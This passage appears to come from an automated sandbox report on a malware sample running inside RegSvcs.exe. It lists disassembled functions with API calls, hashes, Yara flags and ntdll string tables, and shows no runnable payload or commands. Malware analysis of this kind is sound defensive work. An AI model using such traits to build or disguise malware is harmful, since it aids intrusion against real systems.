                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: MessagePostThread
                                                          • String ID: n200C853$n200C853
                                                          • API String ID: 1836367815-480195095
                                                          • Opcode ID: 2b945963732c7099dc88324b4d47237c8fc5c12cc190d594763ba5850ea7e175
                                                          • Instruction ID: 590c7da5e44fab27d9b53956f60847adcbc2746b908667bc8b08de9057092f64
                                                          • Opcode Fuzzy Hash: 2b945963732c7099dc88324b4d47237c8fc5c12cc190d594763ba5850ea7e175
                                                          • Instruction Fuzzy Hash: 0401DBB2D0511C7AEB10AAE19C81DEF7F7CDF40698F05806AFA04B7141D2785F058BA5
                                                          Function 00413B53 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60threadwindowCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 51 413b53-413b65 52 413b6d-413b72 51->52 53 413b68 call 42d083 51->53 54 413b78-413bbd call 417523 call 404873 call 424393 52->54 55 413b73 call 42da93 52->55 53->52 62 413bdd-413be3 54->62 63 413bbf-413bce PostThreadMessageW 54->63 55->54 63->62 64 413bd0-413bda 63->64 64->62
                                                          APIs
                                                          • PostThreadMessageW.USER32(n200C853,00000111,00000000,00000000), ref: 00413BCA
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: MessagePostThread
                                                          • String ID: n200C853$n200C853
                                                          • API String ID: 1836367815-480195095
                                                          • Opcode ID: b3c96930a6be56141fa1bb802117c82329c92e8422a26084c0c0b07ad76d302e
                                                          • Instruction ID: cc64c5f9d53ea0af4f3f6e9b6a4057b1e8662bf522ab87cf8de6b93980062ed4
                                                          • Opcode Fuzzy Hash: b3c96930a6be56141fa1bb802117c82329c92e8422a26084c0c0b07ad76d302e
                                                          • Instruction Fuzzy Hash: 9C0196B2E0511C7AEB10AAE59C81DEF7B7CDF40698F048069FA14B7141E6785F064BB6
                                                          Function 00417516 Relevance: 1.5, APIs: 1, Instructions: 30libraryloaderCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 98 417516-417520 99 417522 98->99 100 41756c-417581 call 42c6a3 98->100 99->100 103 417583-417597 LdrLoadDll 100->103 104 41759a-41759d 100->104 103->104
                                                          APIs
                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417595
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Load
                                                          • String ID:
                                                          • API String ID: 2234796835-0
                                                          • Opcode ID: 9d7801c0ce9515cb919edc289ba5345dbbd282d18ee26fd35dda423275999901
                                                          • Instruction ID: 4508a18d472376b73075bad9b13fe778e838ef942f817adfbd61eaf1c02e855b
                                                          • Opcode Fuzzy Hash: 9d7801c0ce9515cb919edc289ba5345dbbd282d18ee26fd35dda423275999901
                                                          • Instruction Fuzzy Hash: 6EE06C71E0410677DF10CAA4DC41B9EB7F4AB45304F048296E59895241E134FA458791
                                                          Function 0042B453 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 110 42b453-42b497 call 404903 call 42c1a3 RtlFreeHeap
                                                          APIs
                                                          • RtlFreeHeap.NTDLL(00000000,00000004,00000000,7CC13B5C,00000007,00000000,00000004,00000000,00416E04,000000F4,?,?,?,?,?), ref: 0042B492
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: FreeHeap
                                                          • String ID:
                                                          • API String ID: 3298025750-0
                                                          • Opcode ID: 5ac67c8c97735da1dd0cbd312c6a7913a351ae52aae5574a4a7302b5b97522da
                                                          • Instruction ID: fd6e5edab243cc8b1db3715e82f99ced37802975a82dfa9665efe9b33b5c5545
                                                          • Opcode Fuzzy Hash: 5ac67c8c97735da1dd0cbd312c6a7913a351ae52aae5574a4a7302b5b97522da
                                                          • Instruction Fuzzy Hash: 3EE06DB13042087BD610EE59DC42FAF33ACEFC9710F404419F908A7282C6B4B9508AB5
                                                          Function 0042B403 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 105 42b403-42b447 call 404903 call 42c1a3 RtlAllocateHeap
                                                          APIs
                                                          • RtlAllocateHeap.NTDLL(?,?,?), ref: 0042B442
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: AllocateHeap
                                                          • String ID:
                                                          • API String ID: 1279760036-0
                                                          • Opcode ID: feba57d70eb0d8949fecce02056536d74d81ad578c6bc331f687760a0e5e9600
                                                          • Instruction ID: 8da089246025b2cd68374d26c77b2bf18b184fad9d6bd2cfad0ccdd7302c267e
                                                          • Opcode Fuzzy Hash: feba57d70eb0d8949fecce02056536d74d81ad578c6bc331f687760a0e5e9600
                                                          • Instruction Fuzzy Hash: A8E06DB12002047BD610EE59DC41FAB33ACEFC5710F40041AF919A7242C670B9108AB5
                                                          Function 0042B4A3 Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 120 42b4a3-42b4dc call 404903 call 42c1a3 ExitProcess
                                                          APIs
                                                          • ExitProcess.KERNEL32(?,00000000,?,?,974A1CE6,?,?,974A1CE6), ref: 0042B4D7
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ExitProcess
                                                          • String ID:
                                                          • API String ID: 621844428-0
                                                          • Opcode ID: 18fb177e5e21504b40ceb02d85d5ed7ba153f326674f39753e17bc676a854577
                                                          • Instruction ID: 6978c5cf10b91c5ae7581ecfe211626d7c4d7c67400c7dcce107b13b6436d431
                                                          • Opcode Fuzzy Hash: 18fb177e5e21504b40ceb02d85d5ed7ba153f326674f39753e17bc676a854577
                                                          • Instruction Fuzzy Hash: 53E086B62112147BD120FB5ADC42F9B779CDFC9714F40442AFA0C67142C675B91187F4
                                                          Function 004175CD Relevance: 1.5, APIs: 1, Instructions: 23libraryloaderCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 125 4175cd-4175d5 128 417583-417597 LdrLoadDll 125->128 129 41759a-41759d 125->129 128->129
                                                          APIs
                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417595
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Load
                                                          • String ID:
                                                          • API String ID: 2234796835-0
                                                          • Opcode ID: f14832b5f2824aadfdaa80eee5a1260b764a7cb20298280a43eaf242e9aa08a1
                                                          • Instruction ID: c5ea117d264452a495b1752be8d3f309985ec3713a54ffcb82f6729878867f65
                                                          • Opcode Fuzzy Hash: f14832b5f2824aadfdaa80eee5a1260b764a7cb20298280a43eaf242e9aa08a1
                                                          • Instruction Fuzzy Hash: 7EE0D834A0814ABFCF00CBA4CC90BAABB75EF45608F0041C9E8488B243E571EA49C745
                                                          Function 01512C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 130 1512c0a-1512c0f 131 1512c11-1512c18 130->131 132 1512c1f-1512c26 LdrInitializeThunk 130->132
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 73a7da0b9726624f05570fd9b0dffb3a7524c8ec29f26215bfac411abd1eec90
                                                          • Instruction ID: 5c3d6b71e6925bc8e1553948165ea8800bf553775c93212eb37b81c4e41e2c7b
                                                          • Opcode Fuzzy Hash: 73a7da0b9726624f05570fd9b0dffb3a7524c8ec29f26215bfac411abd1eec90
                                                          • Instruction Fuzzy Hash: DAB09B739015D5D6EA12E7A4460971B794077D1715F29C461D3030A45F4778C1D1E275

                                                          Non-executed Functions

                                                          Function 01552349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 0-2160512332
                                                          • Opcode ID: 4435f38c0a41c2b897add365439d9e0bd15f21fce532626e45f687fdf967654f
                                                          • Instruction ID: 2b4d3c7abe67a87184204e65ecb610cb21cbc106c77bf539cb21be563db15a04
                                                          • Opcode Fuzzy Hash: 4435f38c0a41c2b897add365439d9e0bd15f21fce532626e45f687fdf967654f
                                                          • Instruction Fuzzy Hash: 1A928E71608342EFE761CF29C890B6BB7E8BB84754F14481EFA95DB261D770E844CB92
                                                          Function 01508620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • corrupted critical section, xrefs: 015454C2
                                                          • Thread is in a state in which it cannot own a critical section, xrefs: 01545543
                                                          • Critical section address., xrefs: 01545502
                                                          • double initialized or corrupted critical section, xrefs: 01545508
                                                          • 8, xrefs: 015452E3
                                                          • Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 015454CE
                                                          • undeleted critical section in freed memory, xrefs: 0154542B
                                                          • Address of the debug info found in the active list., xrefs: 015454AE, 015454FA
                                                          • Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 0154540A, 01545496, 01545519
                                                          • Critical section debug info address, xrefs: 0154541F, 0154552E
                                                          • First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 015454E2
                                                          • Critical section address, xrefs: 01545425, 015454BC, 01545534
                                                          • Invalid debug info address of this critical section, xrefs: 015454B6
                                                          • Thread identifier, xrefs: 0154553A
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
                                                          • API String ID: 0-2368682639
                                                          • Opcode ID: d82d780b04a8e09e1f18f1da6a9b3a6a430f48c7696d7b5a2c8019aa76093e4e
                                                          • Instruction ID: 5f34bc8b700b5a792d0c50778f25463c40f39126f440fecc71fdf520166f023f
                                                          • Opcode Fuzzy Hash: d82d780b04a8e09e1f18f1da6a9b3a6a430f48c7696d7b5a2c8019aa76093e4e
                                                          • Instruction Fuzzy Hash: 71818FB0A41349EFDB61CF99C885BEEBBF9BB08714F20411AF505BB250D375A945CB60
                                                          Function 015029F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • RtlpResolveAssemblyStorageMapEntry, xrefs: 0154261F
                                                          • SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 01542498
                                                          • SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 01542506
                                                          • SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 01542412
                                                          • SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 01542624
                                                          • SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 015422E4
                                                          • @, xrefs: 0154259B
                                                          • SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 015425EB
                                                          • SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 015424C0
                                                          • SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 01542602
                                                          • SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 01542409
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
                                                          • API String ID: 0-4009184096
                                                          • Opcode ID: c5523077acb33f3c3c36a083b245cbc2c7bae3c0c213f3369d92342cceddc4cc
                                                          • Instruction ID: 97fe3236e3c4571f094845e808a80188c94754b3e6097ac87f5fbe79dba17f51
                                                          • Opcode Fuzzy Hash: c5523077acb33f3c3c36a083b245cbc2c7bae3c0c213f3369d92342cceddc4cc
                                                          • Instruction Fuzzy Hash: 780250F1D002299BDB22DB54CD84BEDB7B8BF54314F4045DAE609AB281DB709E84CF69
                                                          Function 01578B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
                                                          • API String ID: 0-2515994595
                                                          • Opcode ID: ab8a40378fb0f01a9389abb25d174497791a4953ff942e1d1309a099682d72f0
                                                          • Instruction ID: b3f5a48c1bd1139a56b09a0724b73b8bbeee87ace86ec0c6d16e73deb9de9ca3
                                                          • Opcode Fuzzy Hash: ab8a40378fb0f01a9389abb25d174497791a4953ff942e1d1309a099682d72f0
                                                          • Instruction Fuzzy Hash: 1151D2716143029BD335CF18D84ABABBBECFF94640F55491EE959CB250E770D504C792
                                                          Function 01580274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                          • API String ID: 0-1700792311
                                                          • Opcode ID: 569e304b1296e326b79807d87f41d2740698a3d6792572f60ec757d7632d9470
                                                          • Instruction ID: 9f13fd31d3f9924556f2e5785e2f810c44dd5efbac0bc6c5ad9af34b254a982f
                                                          • Opcode Fuzzy Hash: 569e304b1296e326b79807d87f41d2740698a3d6792572f60ec757d7632d9470
                                                          • Instruction Fuzzy Hash: 52D1FE35600682DFDB22EF69C451AADBBF1FF59714F19804EF445AF2A2C7349949CB20
                                                          Function 015589B3 Relevance: 9.0, Strings: 7, Instructions: 259COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • AVRF: -*- final list of providers -*- , xrefs: 01558B8F
                                                          • VerifierDlls, xrefs: 01558CBD
                                                          • HandleTraces, xrefs: 01558C8F
                                                          • VerifierFlags, xrefs: 01558C50
                                                          • VerifierDebug, xrefs: 01558CA5
                                                          • AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 01558A3D
                                                          • AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 01558A67
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
                                                          • API String ID: 0-3223716464
                                                          • Opcode ID: 87a90cd74e95de4b85a7197702c298f18137c99edb0a8b1faf8d1915c13643fc
                                                          • Instruction ID: 796c9380a979ea89552a5cda7d2afec1fdd6365c899dfbf47e3d98cc1afc5178
                                                          • Opcode Fuzzy Hash: 87a90cd74e95de4b85a7197702c298f18137c99edb0a8b1faf8d1915c13643fc
                                                          • Instruction Fuzzy Hash: E8911671601B02DFD761DFAAC8A0B5A77E9BB94B14F45041EFE416F251E770AC04C791
                                                          Function 014DEA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
                                                          • API String ID: 0-1109411897
                                                          • Opcode ID: 3a075b17c6ae53054d6fcfe21a5f3f3a7779ed2a23cf778c5a9a99aa0d6ed8a3
                                                          • Instruction ID: 789607575035adf6f891f272a9f29b483b803c3d2bd739fee0b2f92dcee3c044
                                                          • Opcode Fuzzy Hash: 3a075b17c6ae53054d6fcfe21a5f3f3a7779ed2a23cf778c5a9a99aa0d6ed8a3
                                                          • Instruction Fuzzy Hash: B3A21D74A0562A8BDF75CF19C8987ADBBB5BF85304F1442EAD50DAB260DB309E85CF40
                                                          Function 015063FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 0-792281065
                                                          • Opcode ID: 898a25ad3723594508a1155ebff48efd9fa0d949b78d30ea30d309193413efe7
                                                          • Instruction ID: fac1644ee7235e42a6e2a7ed0288b89adc6bca5d2f9d274c1cf2c3328e6f5a32
                                                          • Opcode Fuzzy Hash: 898a25ad3723594508a1155ebff48efd9fa0d949b78d30ea30d309193413efe7
                                                          • Instruction Fuzzy Hash: 5A913470B407169FEB26DF98D889BAE7BE1BF50B18F16012DE9106F2D1D7B09901C7A1
                                                          Function 014C645D Relevance: 7.6, Strings: 6, Instructions: 150COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • LdrpInitShimEngine, xrefs: 015299F4, 01529A07, 01529A30
                                                          • Getting the shim engine exports failed with status 0x%08lx, xrefs: 01529A01
                                                          • Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 015299ED
                                                          • Loading the shim engine DLL failed with status 0x%08lx, xrefs: 01529A2A
                                                          • apphelp.dll, xrefs: 014C6496
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 01529A11, 01529A3A
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 0-204845295
                                                          • Opcode ID: 2e7becd326a52228d86b32a75eb17b58854f6657e9809f4fa8eeaee9cbb94c2a
                                                          • Instruction ID: 2719f325f447bcf910dda5550b79f2288b12ce0d0d99624dc3e058892d2f2b43
                                                          • Opcode Fuzzy Hash: 2e7becd326a52228d86b32a75eb17b58854f6657e9809f4fa8eeaee9cbb94c2a
                                                          • Instruction Fuzzy Hash: D55113712083119FE720DF25D885FAB77E8FB94A48F11491EF5959B2B0D770E904CB92
                                                          Function 01502674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 0154219F
                                                          • SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 01542178
                                                          • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 015421BF
                                                          • SXS: %s() passed the empty activation context, xrefs: 01542165
                                                          • RtlGetAssemblyStorageRoot, xrefs: 01542160, 0154219A, 015421BA
                                                          • SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 01542180
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
                                                          • API String ID: 0-861424205
                                                          • Opcode ID: b52baf12fba3c3cfed544601a6417d3a3bafe37fa4107337d7fa84f81810c802
                                                          • Instruction ID: 187c1f1321039db3c85c79cb05e1d15d38c62d64c6ad7e343c1606bb83ae4cd1
                                                          • Opcode Fuzzy Hash: b52baf12fba3c3cfed544601a6417d3a3bafe37fa4107337d7fa84f81810c802
                                                          • Instruction Fuzzy Hash: E5312836F4022577F7228ADA9C85F9F7B78FBE4A94F05005ABA04BF191D6709A00C7A1
                                                          Function 0150C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • Loading import redirection DLL: '%wZ', xrefs: 01548170
                                                          • LdrpInitializeProcess, xrefs: 0150C6C4
                                                          • minkernel\ntdll\ldrredirect.c, xrefs: 01548181, 015481F5
                                                          • LdrpInitializeImportRedirection, xrefs: 01548177, 015481EB
                                                          • Unable to build import redirection Table, Status = 0x%x, xrefs: 015481E5
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 0150C6C3
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
                                                          • API String ID: 0-475462383
                                                          • Opcode ID: d83e51c99f8b08b7ce5d1325506c07b9e574ac25e1982ba1545be5d63748e8b5
                                                          • Instruction ID: e1cdd8b17fee4c71cbd09c37b96a31a5fe284dab0cab587d2b4c9c52e739ff20
                                                          • Opcode Fuzzy Hash: d83e51c99f8b08b7ce5d1325506c07b9e574ac25e1982ba1545be5d63748e8b5
                                                          • Instruction Fuzzy Hash: 89310271A447069FC220EF6ADD46E1AB7E4FFA4B14F02065DF9416F2A1E670EC04C7A2
                                                          Function 0151096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 01512DF0: LdrInitializeThunk.NTDLL ref: 01512DFA
                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01510BA3
                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01510BB6
                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01510D60
                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01510D74
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
                                                          • String ID:
                                                          • API String ID: 1404860816-0
                                                          • Opcode ID: 5cb319fcf019c4aeaca8eee263344544f87bdd91b5b47c056e3c1cb37f3d9a66
